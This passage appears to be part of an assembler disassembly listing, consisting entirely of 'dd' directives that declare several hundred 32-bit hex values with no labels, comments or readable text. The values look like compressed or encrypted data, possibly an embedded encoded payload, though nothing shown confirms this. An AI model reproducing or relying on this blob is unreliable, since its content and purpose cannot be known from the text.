		dd 0D0A40A00h, 6F14BA0Fh, 2FBB00FAh, 0BA63D2Eh,	0EB2AA352h
		dd 479A7800h, 2C9C3F33h, 3AAE942h, 57B12BEFh, 0BCD17EE0h
		dd 58716AA9h, 91F86180h, 4458DA01h, 0BC130D00h,	937BEDE2h
		dd 0CF460355h, 97253622h, 1B5F967Eh, 0D8B8B812h, 4F4107C0h
		dd 78918B05h, 1260B4D3h, 9E012ABAh, 0D7F089E0h,	0B02B6A3Dh
		dd 0F6BB8C0h, 0C4986671h, 0ABA60BE1h, 9182D09Eh, 0B05E4AF3h
		dd 0C4C10A64h, 0E32B0E34h, 300DB2B4h, 4F045BBCh, 9C3A97FCh
		dd 1AC110E8h, 10BE2714h, 18396664h, 411DE0C0h, 1200C190h
		dd 714528B3h, 12176196h, 0BCC27B09h, 0C06E5A88h, 5A7016h
		dd 0D74F617h, 6013C6CCh, 0E0914F8Fh, 4A002458h,	0DC0C0E44h
		dd 0B02084ACh, 5952021Dh, 0A90BD046h, 43798CD3h, 56EA3031h
		dd 607E52E0h, 805109DCh, 5C5E740Ah, 40F84F2Dh, 0EDDA92BCh
		dd 9BF02C12h, 58A843EBh, 294C1942h, 1ACF11B8h, 0BD984717h
		dd 208A9754h, 0D0C04DC8h, 154F98Ah, 9DBC53AFh, 404159E1h
		dd 0EF961C38h, 13540h, 55B9D98Dh, 692EEB4Bh, 19730712h
		dd 96E0D0F6h, 1B04F416h, 3CFFD748h, 4DA040FAh, 202CBBA8h
		dd 86D0A007h, 0B2744E7Bh, 3204DDABh, 3035E204h,	742E3328h
		dd 202FC477h, 1CBFC748h, 3C70B878h, 1384738Dh, 404D8EEh
		dd 0E4BCE8E3h, 48C04C48h, 6A80B010h, 32FA790Eh,	517180BBh
		dd 87E9D6h, 9ADD17B6h, 0B7279160h, 9294E89Fh, 0CBE11704h
		dd 0F838B80Fh, 73008C02h, 0F23F3228h, 270DB118h, 40E89D3Dh
		dd 782CCE38h, 68826802h, 57E4EDA3h, 28E00CEDh, 6548835h
		dd 4559E3CBh, 66B78913h, 974213B4h, 894E9F4h, 13CBB38Fh
		dd 4DDD0707h, 3775C923h, 0BA7612E8h, 0FCFCB416h, 0C46DDC27h
		dd 4987114Eh, 0BDF4704Eh, 953C3970h, 2A12FDD0h,	5405CAEDh
		dd 943A1B04h, 7A001F23h, 6040F411h, 80A74B93h, 3F76D0B0h
		dd 7290D60h, 7A3D3ECh, 6A8DB438h, 0D771D364h, 96B8EDDBh
		dd 92EADC9Ch, 0C24F4712h, 8B8898A4h, 345F97F9h,	903B0154h
		dd 6A487237h, 0F555C098h, 124D34Ah, 88368F8Ch, 2AD1B4D7h
		dd 0F7D60C8h, 66070B7Fh, 4F89EAC0h, 0A203BEECh,	3EA468EEh
		dd 0C22AF045h, 1C379530h, 0C5399B00h, 30AE56Ch,	0F92B917Eh
		dd 3F24EECh, 5B6B945Eh,	0F441719Ch, 7B0261FAh, 15C707BFh
		dd 0E05AD8h, 11890A8Ch,	2613CE7Eh, 878206FEh, 0FC0BDAE4h
		dd 0E4ED4918h, 771BF6C0h, 8088B1B4h, 0ADF54B74h, 9609A699h
		dd 856E5D9Bh, 12ABE828h, 12A8E378h, 1CA44858h, 0B48F5C16h
		dd 60E296h, 0A0D4C520h,	48B62ACh, 0EBB16FE7h, 50DAEF3Ch
		dd 0A24FAC0h, 800F9B43h, 0DF4DF85Bh, 0A94B0210h, 64A64A20h
		dd 72FA66F0h, 0C9142012h, 82409FAh, 0BB0884D9h,	792D34h
		dd 233F6A44h, 0AFB20034h, 0C4CE1199h, 2AC8194Dh, 403BA812h
		dd 0C9C10077h, 0D7D8DD78h, 0D6265850h, 3C790A2Dh, 931809D9h
		dd 2A8F960Fh, 0EF91A285h, 84F478h, 5A16F77Ah, 0D995DBCAh
		dd 2D7E6470h, 0B02B19D5h
		dd 664AA960h, 61DCCCF2h, 0EBD50261h, 212D289Ah,	42DD1803h
		dd 0C679491Dh, 3CA28813h, 4A92CB09h, 0E8227804h, 8C1CBCD8h
		dd 0BDF7F4E1h, 0A54D6205h, 6CAC0A2Bh, 8E16C9C1h, 0DA7A0DFDh
		dd 0B31B83DCh, 0DFF7C850h, 2C24B386h, 10A038F0h, 18479A26h
		dd 0FAA8844Bh, 8048BC56h, 0D1AC8993h, 796700D8h, 5F69968Ch
		dd 0B07BB409h, 4E183925h, 9CD39530h, 7348A450h,	0A0CF0018h
		dd 45D3DF99h, 8EA235E8h, 1D13ECF6h, 0BD7874C8h,	0C8E2A805h
		dd 9B006D9Ch, 3483EBF6h, 0ECC2DC23h, 959471DDh,	0D5D844DBh
		dd 42D0040Ah, 0BC9803F6h, 0AC28D1F8h, 315D0298h, 0E8CFEDD5h
		dd 0D7E090DFh, 0A13700C6h, 4FDC7380h, 0C100AAD9h, 9CB4D470h
		dd 7D79BF5h, 0F04CA645h, 603E613Fh, 5AA038CFh, 7B3E84B1h
		dd 18D500FCh, 38963D89h, 1C4D978Ah, 7E613764h, 8CF07040h
		dd 9B68BE12h, 0D8B30C17h, 323019A2h, 4CCF2791h,	0EEB52050h
		dd 0C434A530h, 0A2B96020h, 0E4A50037h, 24DB8AC2h, 3DFFCB9Eh
		dd 5F801118h, 0F8FCC95Ah, 4207A45Eh, 0C46759D4h, 34BA6844h
		dd 0B850A96Ch, 33F7FD5h, 0F7CDA471h, 0F3C469C4h, 0EF92058Ch
		dd 0C400F3B8h, 0A40E6549h, 0F8EC4EAFh, 0EC4AF4h, 0B844FD4Ah
		dd 8A56009Dh, 0EF8F616Eh, 500477F6h, 3AE3BF9Ch,	5F008BAFh
		dd 50A7D4E6h, 4844ADA7h, 0A08A162Fh, 2E4B0758h,	9743E8DCh
		dd 98BB7844h, 1ED3DC70h, 4991E817h, 885361B6h, 1221F578h
		dd 0E9DE5B53h, 0ACACD168h, 0ACA70098h, 7EDCD4DFh, 0F8001B13h
		dd 28CB75A4h, 97A9FAEAh, 7BFD8BFh, 21D038EFh, 9C8E0CE0h
		dd 0D7930BE7h, 9C2E1DC8h, 751AD8C0h, 592EE1C6h,	5A10841Bh
		dd 808B3E88h, 818EDDh, 0CAF4A060h, 0CF61265h, 4C41BB72h
		dd 0F2744DA4h, 585C303Ah, 91C91849h, 0C0455C9h,	0C68CBCC2h
		dd 211CE2h, 5F7E62D6h, 0BC61A547h, 70E4FF48h, 571062B7h
		dd 0E590B445h, 23142ED2h, 0B05F0022h, 16F16FB3h, 0A87447FAh
		dd 0DFF8E89Dh, 7A19803Dh, 0EF41D501h, 5821913Eh, 0AF2CC43Bh
		dd 73F0840Bh, 70D5581Ch, 0AAC2342Ch, 98E52B3Fh,	35908831h
		dd 1B5E5308h, 908B044h,	99E0D70Fh, 1226F11Dh, 14DA6D4Eh
		dd 97C050C8h, 0A1F715EFh, 0C2470CCh, 0ECE1BF78h, 4908003Bh
		dd 46572660h, 3C042F34h, 40452B8h, 0CBAEC5C7h, 50F94F9Ch
		dd 3006BA8h, 37922984h,	254A5953h, 90E29A3Ah, 0C0D84D75h
		dd 0C0E61314h, 5BF39016h, 0F91B00E4h, 0DA684301h, 4C4BB4F8h
		dd 410BBCCAh, 7C400380h, 0D85BB872h, 0F62AB4A1h, 9B75B004h
		dd 606E003Ah, 47FA88DDh, 0A099CA43h, 0DF149409h, 7200ACBDh
		dd 93CB8A53h, 94100F5h,	0DC171FE1h, 59E497EAh, 311D4534h
		dd 0B50820FFh, 0E00D6880h, 0F13B811Ah, 7A63C200h, 8CEA0075h
		dd 0A38B6E49h, 0DC12BB43h, 0DCC0F717h, 9797CDDDh, 22912017h
		dd 0A84F1F80h, 9FA51C5h, 0B903D19h, 4BC10221h, 0BDDC12F0h
		dd 0E8C098C2h, 0C8E11B09h, 4F587780h, 926480E4h, 3F44DF63h
		dd 0C4129DD6h, 0C78409FCh, 0F625DC7Bh, 5538D4A8h, 49B08253h
		dd 0E2D785B8h, 80E856B1h, 91FEE41Fh, 2F4C9E56h,	45811A4h
		dd 0F7069D12h, 0DF1CB0E0h, 348C10DDh, 0A7FC0513h, 0FCE9355Fh
		dd 0D41D1F22h, 51222A15h, 6E7B946Dh, 0B29005Ch,	4820C43Fh
		dd 0B8AD694Ah, 10B437F7h, 5D652441h, 5EBF6809h,	984125B8h
		dd 0E262DA5Fh, 1C0E8876h, 36ECD001h, 0BC91258Ch, 0ED9DB0D2h
		dd 0D47DE048h, 2507EDA8h, 66E4B4A5h, 0DBBC6020h, 619B2505h
		dd 4D61454h, 15725002h,	4AE4E424h, 450C5627h, 0BF491230h
		dd 3423DC3Eh, 978AF200h, 54DCEF93h, 1625A41Bh, 521CCF90h
		dd 0CB580494h, 0DD95025Bh, 18B07ECEh, 13E439D0h, 69207197h
		dd 3ED48076h, 96922B0Bh, 9854A43Ch, 0C3FF3F00h,	3D8E02A8h
		dd 2F6F3CC6h, 5F484C80h, 982645B9h, 0CEBE1C3Dh,	0E682E0C1h
		dd 8484B33Bh, 0A0138E70h, 0CE1F6734h, 421A612h,	1948144h
		dd 0E8EF91C9h, 6DC8A06Ah, 0EDD9D701h, 7E5D0521h, 44C157E2h
		dd 3A4C3DE2h, 316A802Dh, 0D97877DAh, 6D7A2DCDh,	0ADFEA4C4h
		dd 4DE08000h, 987E2E7h,	1907707h, 6D565067h, 280F9FF4h
		dd 54D94B7Ch, 3CB23Eh, 0E57C3FB2h, 38C07Bh, 5D608136h
		dd 0EB6C7079h, 0B4206CB8h, 0ED714E1Dh, 4CA997A0h, 2F1895B8h
		dd 0EF891B3Ch, 9FBA0001h, 39F5908Ch, 0E401D005h, 323D6D47h
		dd 206F86D1h, 0CF215538h, 99888C00h, 0ACE66E17h, 0AF02071Fh
		dd 4275F990h, 0C6001CECh, 9C232705h, 601904A4h,	2DC8ADEFh
		dd 67C010A9h, 9F90991h,	0AF7FF8B1h, 0C09484D8h,	0CAF032BFh
		dd 6B646474h, 0F353C15Dh, 809A1661h, 0D4CEEDC8h, 12293A6Ch
		dd 0E97BD360h, 0A43D1248h, 89EECC94h, 20A1304Ch, 39BA8114h
		dd 300770F8h, 87971E78h, 493F6BD1h, 0B8C4976Eh,	7627929Ch
		dd 492428A4h, 9027A4D8h, 0ECC714A0h, 8F38882Bh,	0C141395Dh
		dd 40D876E2h, 0D4CBE7C3h, 21DA4300h, 80F47925h,	71E2006Ch
		dd 0B58BE1F5h, 5B71362Eh, 0DC916EF3h, 0E13F0366h, 74233F4Ch
		dd 0C2C0DC4Ah, 0FCE6EEF9h, 5CAC12DFh, 74C89073h, 76003880h
		dd 0DB9EC344h, 0DC4A90h, 0C26CA979h, 5F210C0Eh,	31A27330h
		dd 18A8B5Ah, 10CE9458h,	23F8DD65h, 0DF1413D8h, 20F837BBh
		dd 20A4B723h, 538FC183h, 0BF94427Fh, 8C742F54h,	0C8AED744h
		dd 45846074h, 1C41F250h, 46240129h, 82181029h, 0BC8D717Fh
		dd 7C6B2502h, 0DC8F9792h, 4DAA1D50h, 6B692418h,	2738ECD2h
		dd 41C22614h, 86096F8h,	46AC9019h, 4E672578h, 8C9E7476h
		dd 9C58022Dh, 0A264809Fh, 0CF1F588Fh, 3FA947E1h, 0F750A874h
		dd 7CBDB554h, 8392DE04h, 7D0700EDh, 0D0D88C37h,	26E10829h
		dd 5D86A624h, 2E621903h, 80A0512Fh, 23683F3Fh, 7352609h
		dd 0EF8D5970h, 0C24BE93h, 4501D005h, 0B2AAC08h,	3D5DE96Ch
		dd 29388270h, 0B8764558h, 82D1D462h, 0DF61AED8h, 0E80F4B5h
		dd 4E7AF86Ah, 0ACD75CDDh, 85E86026h, 6EF02371h,	730101C4h
		dd 1278ACDDh, 0C312A82Dh, 82F8E925h, 7FC78823h,	733050E1h
		dd 3032B200h, 3105AC5Dh, 8021A0EEh, 9DB6B4A4h, 93C030F1h
		dd 0C7F94CCFh, 81C27AE0h, 3B0F6CF7h, 0D70018E6h, 0C6CFDCD8h
		dd 64B7DDE1h, 8004B53Ch, 0BCDC07C7h, 0DECB0D97h, 0D717DEBCh
		dd 38F48B16h, 0D93C6081h, 87FDAE83h, 614D1200h,	69D46072h
		dd 0ECB0C0CFh, 0DA985EEDh, 0C93465B7h, 0B45B0459h, 761C5B60h
		dd 9580B500h, 759E98EDh, 279317C9h, 71788373h, 0D3DD8813h
		dd 8B8860A2h, 18B7A5h, 0C082144Bh, 0A340B360h, 0AF50D2BDh
		dd 100F87Ah, 6FA3C8BCh,	0FC01F938h, 8840CB61h, 0D17A555Fh
		dd 21D30994h, 0F4C26F08h, 8B04027Dh, 0F5704853h, 2672554h
		dd 0FA518876h, 0A8941314h, 2109D2E4h, 514C76C9h, 28BA14F9h
		dd 1F9D9728h, 810F1178h, 0DE835013h, 0DB3BC7F9h, 0A07D80C0h
		dd 169C7EF3h, 21232B8Fh, 1DBC20h, 9396B9h, 987F6F6Bh, 5872DA1Ah
		dd 7CFACCA8h, 0A3C05E00h, 0BA14D3BDh, 0D92102ECh, 66E4DC2h
		dd 49DA8E5Fh, 0DC545EA6h, 0A2D5A003h, 832CDA48h, 5A4B80CDh
		dd 0C1DB2D58h, 194420D8h, 5E40B87Bh, 2EF8E109h,	959010F0h
		dd 0E4F8807Bh, 0A7FA17DDh, 4B54F853h, 0CC387CDDh, 0B8C0EACh
		dd 0A58D820Ah, 0F4B51863h, 3B00B344h, 0C211A06Fh, 0FECC3010h
		dd 45EB3B60h, 4C74D5A7h, 9705C49h, 0C8407213h, 0A48819E3h
		dd 8BBB07A1h, 893C651Eh, 0DC08DCh, 656DA721h, 9062362h
		dd 0AAA8456Fh
		dd 0A4103CF0h, 441EC904h, 0B8B4AD32h, 85B50484h, 0E89FED30h
		dd 80652E48h, 0C23C7627h, 486937A7h, 64523A22h,	16BC50EDh
		dd 0E00B68DEh, 3F78A5CCh, 5BE0C8h, 523CF785h, 0FFD8511Ah
		dd 6B91E401h, 0B91F3279h, 126EB2D8h, 0EDDD6392h, 8C03A86Ch
		dd 0F257B50Eh, 0F99D818Ch, 6193E14Ah, 1016BE82h, 507ABEh
		dd 37229F4Eh, 0B3978F5h, 0D3BF92D7h, 0CD5F6862h, 8BDC1E8h
		dd 2C7C4101h, 4C7A6B0Ah, 93E1A00Eh, 23183A72h, 28070235h
		dd 0CCE1C95Fh, 6CB72B26h, 0A8FCBD5Ah, 4E601B7h,	45961C34h
		dd 0AC046E3Dh, 20C15AC3h, 9055293h, 0A437C649h,	0DB89B581h
		dd 453B4259h, 410D3C28h, 54B98ED8h, 412AC43Bh, 79DAC22Dh
		dd 0C1AC0414h, 43B080F6h, 0B3D0CD0h, 7DF700A8h,	0B41B054Eh
		dd 0D3A713FCh, 4EA0A728h, 7480B49Bh, 0EB036B2Fh, 0D1767F12h
		dd 0FF57FD00h, 0C04E3263h, 0C8BEC78Ah, 0A59D9A3Ah, 54BC14C0h
		dd 8A06B89h, 33F0E636h,	0C0244DB5h, 97B769FEh, 2528539Fh
		dd 5D41474h, 1F895D01h,	2021BA58h, 0D07BBFFCh, 0C0ACDC88h
		dd 0D8B4134Eh, 0D4C29FA8h, 3E4CB7D5h, 0F78D04F0h, 0BF08F5E0h
		dd 6AAEE474h, 0BFAB0070h, 260BD017h, 839FD7h, 7CAA90CBh
		dd 0D42790DEh, 0FA02DCC8h, 0ED0C3548h, 4490570Fh, 5B3BB825h
		dd 0B9BE096Bh, 5A4C7661h, 5C40B8F6h, 7954EAAh, 8388E26Ah
		dd 0BB89E5EDh, 247C2872h, 34C1BB19h, 0C83C0F83h, 718C36F8h
		dd 0B4FF098Ah, 1DDF1A7Ch, 0CDC72D8h, 0F30465Eh,	1D22F7E7h
		dd 133B6B82h, 0D4E877DEh, 0E49D963Dh, 0D8EE10BCh, 0C2245DFAh
		dd 0D6095B47h, 0F467614h, 86D2F200h, 1929551h, 940C597h
		dd 0BDFF1AB7h, 611D004Ch, 65D75843h, 0E259A409h, 58845FADh
		dd 0F12A001Bh, 4AF45012h, 20C48D63h, 4F7A5ACCh,	0A710F99Dh
		dd 7B61E076h, 0D82EE52Fh, 0A0448D08h, 0AC8C24DCh, 0C45EA5F8h
		dd 53836247h, 2F8DD082h, 0F2C3273Fh, 1A2C3850h,	0B30BC878h
		dd 9B8AB3Ah, 8CE4BCh, 7D13F98Eh, 6003AE18h, 0C68BC00h
		dd 0D46742CBh, 285C092Eh, 74699616h, 20B03E08h,	60BE09D0h
		dd 1CD140FBh, 3CB55F69h, 0A49C5800h, 4A450A65h,	9644EDC4h
		dd 61B8B8F9h, 14BFD51Fh, 177ACBC0h, 5865A774h, 8F0B74E6h
		dd 0E0763FEBh, 0B42B9E7h, 0ECCE77E1h, 919015B5h, 89BA834Eh
		dd 2247D03Fh, 81F700BFh, 0D0424A07h, 5B2D4423h,	41246F0Ah
		dd 0E84A33A6h, 309B7E0h, 0F768436Ch, 2BEFA420h,	3CFD0CF5h
		dd 0BCA0D10Ch, 58DB033Dh, 363AE01Fh, 0D08464A2h, 0F004FF1Dh
		dd 0BE1319FBh, 6290400Eh, 0D52AD740h, 0C900F8B7h, 0DFBF0B31h
		dd 0C48A2D6Dh, 56F36C90h, 0E5C6D700h, 0A07BDCBCh, 6D1A38BDh
		dd 0EF9A5102h, 0C6774059h, 0C1AF27B4h, 18C53C4Eh, 988837D7h
		dd 3B1941D8h, 72D1CE3h,	402574DAh, 64E0ED43h, 0EF8D6132h
		dd 0BE1A62DCh, 0E52867A8h, 24F0EC68h, 8900CC7Ah, 422EEB40h
		dd 0A3604BAFh, 64F697F0h, 0B2238A0h, 6BA7FA09h,	20147A2Bh
		dd 924B3604h, 9C1088ECh, 0C11CCC0Ah, 0DA413840h, 0C9489109h
		dd 35B5687Ah, 778D80B0h, 0F7604149h, 0A2147E4Ch, 0F090FFE3h
		dd 7006CE1h, 0EB2F53C1h, 28EB12Bh, 98EAC639h, 24C1F87Eh
		dd 6C132A34h, 980A0ACh,	809C8255h, 0D998B31Fh, 0AC9D8C00h
		dd 0B3FC37Eh, 1B6E88C1h, 0F7C1C476h, 2B090E04h,	20AD28D5h
		dd 0E02B0B8h, 0B7804099h, 94DD09A6h, 59144340h,	630ACC8h
		dd 3F98BEB2h, 54B96048h, 0E760C983h, 4F181644h,	2947AAAh
		dd 725854A0h, 0B398E031h, 10A9813Fh, 95F4B722h,	1E3E085Ah
		dd 932604B4h, 94BCC8DFh, 0FC644117h, 0D9610FF8h, 97980556h
		dd 1ECE6C97h, 12EE5712h, 4AC0AAECh, 65FDBD89h, 0EE900C0Ch
		dd 7506ECCh, 0D7BF6652h, 6031C093h, 587C5A61h, 2608DEEh
		dd 90DF8B27h, 59BD2523h, 0E88CA3FFh, 87210006h,	7B132679h
		dd 5F7FFC3Eh, 6BAF3EE1h, 0A1840077h, 0F15927D4h, 83A300B6h
		dd 0A6AB858Dh, 0AAC705E6h, 0C0B5F896h, 457CC1FEh, 0FF50021Ah
		dd 0F80107E4h, 0D7B3481Bh, 8120FA8Ah, 427A0099h, 0DEC4500Bh
		dd 151F8FC8h, 2492892Fh, 0C0D89AABh, 18272DCCh,	358E124Ah
		dd 85DBFF6Ah, 6C87EC86h, 215D8514h, 0CCAA93ADh,	32B8BD1Bh
		dd 60887495h, 5EC271AFh, 2BFFE87Eh, 953895E9h, 317A17A0h
		dd 0C30F931h, 0A92ED1FFh, 0C480ACE9h, 0F0D7D54h, 3982181h
		dd 0EB3E79DEh, 4016222h, 35FA5737h, 51A04EAh, 2902431Fh
		dd 81CF8E9Dh, 0A0100CDAh, 4100B011h, 77DF2173h,	55F3D63Dh
		dd 8202D282h, 8E88A869h, 0CC7F620h, 0EA62FA8Bh,	2B71550Fh
		dd 0BA6B542h, 31EB7FDh,	1085AD40h, 4FDA13B0h, 2B1F7E02h
		dd 0A0A41BDh, 8E9E054Ch, 7F8EEFE5h, 19C01B88h, 1E842992h
		dd 1F4D90Eh, 5690EDB7h,	25F27E60h, 0E4761103h, 0E08FAD38h
		dd 5684B1BEh, 6A98A500h, 8F88AF31h, 615F09D5h, 0E70A505Bh
		dd 0C2B7C5DCh, 0CF8431EDh, 20EF570Eh, 366DD22Ch, 3D09E07Dh
		dd 49AE827h, 0A6AF90FDh, 71FAB01Ah, 64EC0127h, 8DD3329Ch
		dd 0EDD121D9h, 98EE0504h, 0EAA05276h, 5F812B49h, 27EB67Bh
		dd 0EE37F5BFh, 4A7B554Ch, 0D4A2F42Fh, 0DBA1B500h, 75D07939h
		dd 0FF6A036Fh, 9AEF8153h, 5F153CD0h, 0D125B5F2h, 8B75D1Ch
		dd 0CA4FE680h, 1DA3CF9h, 0D3C78132h, 21249D79h,	18D158h
		dd 0C70129E9h, 0B0F536h, 0D6CEB81h, 0E6457C00h,	759D8B70h
		dd 0E42CC507h, 3DD63071h, 0B4026085h, 0EDF65A21h, 91EBFFC3h
		dd 66605386h, 0BB9F7FD4h, 0A8AE258h, 0C8B60F1Ch, 800028C3h
		dd 25B589C3h, 1877160Dh, 9BB6652h, 0C18B14EAh, 0BD0CE857h
		dd 0E7260595h, 0FF8A5701h, 88EE58C5h, 0B200C376h, 9E2150EEh
		dd 27E31E24h, 0CAD5B740h, 43C3FFC4h, 0C0C5D23Fh, 0E1C84C2Bh
		dd 3840A1Fh, 19E9F8D1h,	0C0DF4F48h, 276170E2h, 0CA9C015Ch
		dd 9ED13D28h, 8097D454h, 0A9C94200h, 858B4572h,	165ABF95h
		dd 100DBD10h, 72F0E4Ch,	0F0402A7Ch, 8579Fh, 16967E34h
		dd 0A98DA3E8h, 366E1E07h, 0AB156A63h, 1B59EC1h,	540C2147h
		dd 3B0340F9h, 0B6D051h,	0D195297Eh, 3F11CA99h, 0C20BFE4Ah
		dd 8D18F5D8h, 0F8BD7BB7h, 925F9FFCh, 0A8725FB3h, 40ADDD03h
		dd 0B01DD011h, 141B5172h, 21A58373h, 10FCFE13h,	0AA4877EDh
		dd 7F2CD91Bh, 13C05884h, 0BAE64A1Dh, 0AE00DF6Eh, 5B13068Dh
		dd 0DE29FDA2h, 7C87CBC7h, 0E4F004ABh, 3B39AA88h, 0B9007D0Ah
		dd 7A8B22Dh, 0F028F4D8h, 7124F8B5h, 6042A514h, 0B05A5F33h
		dd 809E5C95h, 0F1469264h, 0DB00AC85h, 49EBC85Ah, 4E3050D7h
		dd 0E433BF44h, 0F9561052h, 4A5F3E21h, 109648FFh, 0C4B8B380h
		dd 31A406h, 23336241h, 0C31A7D78h, 5D9F5325h, 99671623h
		dd 0A149DDB0h, 9ECDA704h, 0A3AF5F78h, 51B5088Fh, 4ADD2026h
		dd 276BFAFCh, 0B37EEC41h, 8D290A39h, 0D6AFDCF9h, 9D03602Ah
		dd 18C209E1h, 0FDC02BFCh, 0DC0A76Dh, 95BD31A0h,	2B093674h
		dd 46D57D2h, 384C4160h,	5E922C5h, 7E9BB804h, 34D7CDB3h
		dd 33AD6C70h, 5ED160C2h, 4E983D0h, 52F4753Ch, 26F030B6h
		dd 0F6610B39h, 0BB842444h, 0D3D08ACh, 9AAF5B12h, 6423C0D5h
		dd 76986E5h, 0B4969CE8h, 5C90594Fh, 66003BC3h, 44748D84h
		dd 1E38060h, 0F2B70F94h, 3B0D5F61h, 0E95F37E8h,	3897B87Dh
		dd 63CC9964h, 49F19D12h, 0E677606Eh, 4065FA2Dh,	8B5C6104h
		dd 0E60B205Ah, 0F7FD55BDh, 6F008063h, 0E155AE56h, 0E004B65Ch
		dd 27E4738Eh, 76125C1h
		dd 0BC2DA92Bh, 3F1D016Ah, 0DBBB0791h, 0F9DF4057h, 5BFEF5C5h
		dd 135A8C4h, 0C28B5003h, 0C1031890h, 553A08DEh,	581996F0h
		dd 0E800C26Fh, 0F44C5D76h, 5B5CC714h, 2119C070h, 521C85h
		dd 57458DE7h, 0A3A12D6Eh, 4641407h, 0F5927A9h, 250FE89Dh
		dd 0DBB7D7h, 9D29BDBEh,	0DD130CCDh, 0D8076653h,	79C4835Fh
		dd 84094897h, 0B7EBBFD2h, 9FDDA06Eh, 715371BAh,	0AAB84B5Fh
		dd 1823743Eh, 78A87D01h, 60207E88h, 0EA84A3DAh,	6055EF4Ch
		dd 64C247B3h, 412C84F6h, 30609556h, 3A681D2h, 10C2FB99h
		dd 91A0822Ah, 6305C7ACh, 46D29FC5h, 75E197C2h, 3E59657Bh
		dd 4CBB8D0h, 0F295E1ACh, 0F9F4AB48h, 3C8401E7h,	0EFB1AB37h
		dd 55CC41E1h, 70AD0C1Bh, 0EB3EE104h, 1C7AE56Bh,	672CE980h
		dd 0B7909077h, 4035A44Bh, 51899301h, 0C0FBBB42h, 0A4FABF10h
		dd 4F037E15h, 763EAA86h, 803B1B23h, 0A90852AFh,	0B0BCFB43h
		dd 107120F3h, 1295604Ch, 0CDAB19B9h, 94B67F7Bh,	35DFEFA0h
		dd 17F3EB5Ch, 8FB69E5h,	80031EB3h, 202304E1h, 0A2821D8h
		dd 192082C9h, 1186CE01h, 13BA5830h, 0DBAA241Dh,	9E5C0D2h
		dd 5858A120h, 0D300254Fh, 0A9B7B56Eh, 2AE68533h, 0D9D7A9Ch
		dd 13E82220h, 54B58400h, 75CBBF19h, 46490768h, 607FAFBEh
		dd 0A4C69E73h, 905FF117h, 0F36120EEh, 0E6008870h, 0D2B3D5C9h
		dd 294F932h, 0A780A2C4h, 41468222h, 26CBBA00h, 0A3F827CDh
		dd 505B191Dh, 22525056h, 23F66B04h, 0D80668F2h,	0BB2AD2h
		dd 4009C0B0h, 0F9243481h, 4ACD0C3Eh, 1CA66BFEh,	1C059AFBh
		dd 9102921Fh, 0E060A8E7h, 82083988h, 7B93B60h, 0F4E60E82h
		dd 0B99E7CECh, 6A7800DCh, 0B2F5DA11h, 45FAC40h,	5E8052BCh
		dd 7D99336h, 0ADB63300h, 0B554412Bh, 2984C4A4h,	62E90417h
		dd 0F780A890h, 35CD948Ch, 0C39D9B95h, 3429F8AAh, 0C16206DAh
		dd 30EBD00h, 591883C7h,	0CB2C462Fh, 99B50DB1h, 7DE92F75h
		dd 377E8FACh, 0A05F5200h, 0B5316069h, 4F7692D1h, 8E31AB8Bh
		dd 0CE28F985h, 126BFE4Ah, 9D3A4300h, 0FD8A2140h, 10068925h
		dd 0ECB3608Dh, 17300019h, 0FAB2D70Bh, 4339089Ch, 0A5C14888h
		dd 9E94DAFEh, 2028EC9h,	4401751Ch, 16F53122h, 2004460Dh
		dd 0E688085Bh, 0F28D3DC2h, 40940A7Fh, 28A6DE8Bh, 60F59C75h
		dd 8A59509h, 91B5FF80h,	35572501h, 230A802Eh, 0F9E7BF66h
		dd 8722ADB8h, 28639004h, 5FECFFFh, 61EE83C6h, 4E0F1FE8h
		dd 88131F03h, 2507E263h, 0E81835FAh, 0A3605053h, 0D11D000Ch
		dd 51467290h, 7004A987h, 66C5D82Eh, 0F80061A2h,	69811F61h
		dd 8F04EA41h, 595E2A27h, 86B90386h, 0A94600DDh,	326AFBC1h
		dd 0D414A3E1h, 0A8A8629h, 0D78B9DF2h, 24BB520Ch, 5B2313C3h
		dd 0C006275Fh, 14E2BA60h, 5108951Fh, 5897619Ch,	5A021B6Fh
		dd 0EA394AB5h, 28DDD441h, 168D2644h, 4089186Ch,	0BF05500Ah
		dd 20344626h, 0B67F8AB1h, 0FCF5E090h, 25969048h, 98F50E95h
		dd 5AE3DCh, 9CB096C0h, 86B150DEh, 0CD887D17h, 5BDFC404h
		dd 0AD2A71D9h, 1280ACDCh, 133F6AA6h, 246113EDh,	72A5AA83h
		dd 5862E8h, 16EEE0D6h, 0CB0F7570h, 0B2892500h, 0A72CEA8Ch
		dd 5B560B61h, 0F51B85C7h, 810F3F09h, 28ECDD16h,	3BBEBA00h
		dd 60D564D3h, 19A80024h, 0A37D43ABh, 0AD5C9490h, 59BC421Bh
		dd 772D2565h, 0B300D3BDh, 235AFEB2h, 17955D9Dh,	531EE914h
		dd 508CBF3Fh, 44A40C30h, 0C11E01E6h, 0EB410E8h,	0F14CD683h
		dd 0DB2D5803h, 36EBE70Dh, 6404DE36h, 3316EE39h,	2829501Bh
		dd 58182140h, 570113CDh, 2C601B09h, 251690C0h, 673D16C1h
		dd 60C8A20Eh, 7EC2D139h, 0C15E9701h, 8550D6ACh,	7E878AB7h
		dd 0F026084Dh, 0A266D021h, 0DC77942Bh, 0B39DFF00h, 0A0ABC89Ah
		dd 0A3B726C5h, 4BC33D89h, 1A33FFEh, 1A2E0294h, 62CCA96h
		dd 0EF131A5Eh, 963AB58h, 4A91B50Dh, 786EBB6Ch, 0C15CDA00h
		dd 6C7EF30h, 7DE50170h,	0ED6BCE9h, 403CDF60h, 0AAD318A7h
		dd 155108C0h, 33BEB720h, 0D950FB42h, 826A0E31h,	0DD6BAA20h
		dd 0A9006FE0h, 83AE4A8h, 0B21CF201h, 0BD559942h, 86077600h
		dd 68FE37Bh, 3A40FA9Eh,	1CAA36Fh, 0BDB822F5h, 585B5D73h
		dd 449860CAh, 0CC20D75Ah, 18A97Fh, 0DDF9AD2Ch, 7801CEF6h
		dd 0D1174DB4h, 0AAE65C85h, 0DBBFD0E0h, 182BFD14h, 0A3AEA4D6h
		dd 6FAEF06Ah, 0BD2B1257h, 851090E1h, 29ED10DDh,	5BBC0Ah
		dd 0B24F5E13h, 55CCFA82h, 25BD2916h, 0C1C08A84h, 9D89A85Ah
		dd 37A51FD6h, 917D024Dh, 0C670DFB5h, 32E962A0h,	9599708Ah
		dd 19DE975Eh, 54C1DB09h, 8301C2E1h, 1C7104C2h, 0EF328F4h
		dd 57205089h, 2CA40892h, 7A895F16h, 4C8CBD2Fh, 0CE5B099Dh
		dd 644D77E5h, 3860A4C3h, 0DA095E5h, 39A16151h, 6BAE4A11h
		dd 9E9C28C3h, 40AEF94Bh, 0EBFDB117h, 3007B62Ch,	786264CAh
